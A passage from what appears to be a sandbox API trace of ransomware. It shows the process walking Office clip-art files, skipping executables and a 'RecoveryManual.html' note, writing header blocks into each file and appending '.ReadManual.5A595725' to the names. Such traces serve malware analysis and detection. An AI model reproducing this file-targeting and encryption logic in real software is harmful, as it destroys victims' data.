Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.020] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5968) returned 1 [0271.020] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1750, lpName=0x0) returned 0x184 [0271.020] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.021] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.021] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.023] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.023] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1750) returned 0x2f0000 [0271.023] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.023] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39169197664) returned 1 [0271.023] CloseHandle (hObject=0x184) returned 1 [0271.023] SetSecurityInfo () returned 0x57 [0271.023] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.023] CloseHandle (hObject=0x194) returned 1 [0271.023] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1540, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OCEAN_01.MID", cAlternateFileName="")) returned 1 [0271.023] lstrcpyW (in: lpString1=0x6ab90a, lpString2="OCEAN_01.MID" | out: lpString1="OCEAN_01.MID") returned="OCEAN_01.MID" [0271.024] lstrcmpiW (lpString1="OCEAN_01.MID", lpString2="RecoveryManual.html") returned -1 [0271.024] StrStrIW (lpFirst="OCEAN_01.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.024] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0271.024] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0271.024] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0271.024] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0271.024] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0271.024] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0271.024] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0271.024] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0271.024] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0271.024] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0271.024] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0271.024] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0271.024] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0271.024] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0271.024] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" [0271.024] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.ReadManual.5A595725" [0271.024] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.ReadManual.5A595725") returned 87 [0271.024] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39169285975) returned 1 [0271.024] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid")) returned 0x20 [0271.025] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.025] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5440) returned 1 [0271.025] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1540, lpName=0x0) returned 0x184 [0271.025] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.026] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.026] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.028] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.028] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1540) returned 0x2f0000 [0271.028] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.028] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39169710209) returned 1 [0271.028] CloseHandle (hObject=0x184) returned 1 [0271.028] SetSecurityInfo () returned 0x57 [0271.028] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.028] CloseHandle (hObject=0x194) returned 1 [0271.029] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x19f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTDR_01.MID", cAlternateFileName="")) returned 1 [0271.029] lstrcpyW (in: lpString1=0x6ab90a, lpString2="OUTDR_01.MID" | out: lpString1="OUTDR_01.MID") returned="OUTDR_01.MID" [0271.029] lstrcmpiW (lpString1="OUTDR_01.MID", lpString2="RecoveryManual.html") returned -1 [0271.029] StrStrIW (lpFirst="OUTDR_01.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.029] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0271.029] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0271.029] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0271.029] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0271.029] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0271.029] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0271.029] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0271.029] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0271.029] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0271.029] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0271.029] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0271.029] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0271.029] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0271.029] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0271.029] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" [0271.029] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.ReadManual.5A595725" [0271.029] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.ReadManual.5A595725") returned 87 [0271.029] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39169799370) returned 1 [0271.029] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid")) returned 0x20 [0271.030] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.030] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6644) returned 1 [0271.030] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x19f4, lpName=0x0) returned 0x184 [0271.030] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.031] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.031] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.033] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.033] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x19f4) returned 0x2f0000 [0271.033] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.033] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39170195153) returned 1 [0271.033] CloseHandle (hObject=0x184) returned 1 [0271.033] SetSecurityInfo () returned 0x57 [0271.033] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.033] CloseHandle (hObject=0x194) returned 1 [0271.033] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a6b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PAPER_01.MID", cAlternateFileName="")) returned 1 [0271.033] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PAPER_01.MID" | out: lpString1="PAPER_01.MID") returned="PAPER_01.MID" [0271.033] lstrcmpiW (lpString1="PAPER_01.MID", lpString2="RecoveryManual.html") returned -1 [0271.034] StrStrIW (lpFirst="PAPER_01.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.034] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0271.034] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0271.034] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0271.034] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0271.034] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0271.034] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0271.034] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0271.034] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0271.034] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0271.034] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0271.034] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0271.034] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0271.034] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0271.034] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0271.034] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" [0271.034] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.ReadManual.5A595725" [0271.034] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.ReadManual.5A595725") returned 87 [0271.034] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39170283340) returned 1 [0271.034] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid")) returned 0x20 [0271.035] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.035] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6763) returned 1 [0271.035] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a6b, lpName=0x0) returned 0x184 [0271.035] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.036] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.036] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.038] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.038] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a6b) returned 0x2f0000 [0271.038] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.038] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39170675896) returned 1 [0271.038] CloseHandle (hObject=0x184) returned 1 [0271.038] SetSecurityInfo () returned 0x57 [0271.038] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.038] CloseHandle (hObject=0x194) returned 1 [0271.038] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x195b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PARNT_01.MID", cAlternateFileName="")) returned 1 [0271.038] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PARNT_01.MID" | out: lpString1="PARNT_01.MID") returned="PARNT_01.MID" [0271.038] lstrcmpiW (lpString1="PARNT_01.MID", lpString2="RecoveryManual.html") returned -1 [0271.038] StrStrIW (lpFirst="PARNT_01.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.038] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0271.038] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0271.038] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0271.038] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0271.038] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0271.039] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0271.039] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0271.039] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0271.039] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0271.039] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0271.039] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0271.039] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0271.039] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0271.039] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0271.039] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" [0271.039] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.ReadManual.5A595725" [0271.039] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.ReadManual.5A595725") returned 87 [0271.039] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39170768383) returned 1 [0271.039] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid")) returned 0x20 [0271.040] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.040] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6491) returned 1 [0271.040] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x195b, lpName=0x0) returned 0x184 [0271.040] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.041] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.041] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.044] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.044] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x195b) returned 0x2f0000 [0271.044] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.044] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39171286136) returned 1 [0271.044] CloseHandle (hObject=0x184) returned 1 [0271.044] SetSecurityInfo () returned 0x57 [0271.044] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.044] CloseHandle (hObject=0x194) returned 1 [0271.044] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PARNT_02.MID", cAlternateFileName="")) returned 1 [0271.044] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PARNT_02.MID" | out: lpString1="PARNT_02.MID") returned="PARNT_02.MID" [0271.044] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="RecoveryManual.html") returned -1 [0271.044] StrStrIW (lpFirst="PARNT_02.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.044] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0271.044] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0271.045] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0271.045] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0271.045] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0271.045] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0271.045] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0271.045] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0271.045] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0271.045] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0271.045] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0271.045] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0271.045] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0271.045] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0271.045] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" [0271.045] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.ReadManual.5A595725" [0271.045] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.ReadManual.5A595725") returned 87 [0271.045] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39171379102) returned 1 [0271.045] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid")) returned 0x20 [0271.045] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.046] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5714) returned 1 [0271.046] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1652, lpName=0x0) returned 0x184 [0271.046] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.046] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.046] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.048] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.048] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1652) returned 0x2f0000 [0271.048] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.048] 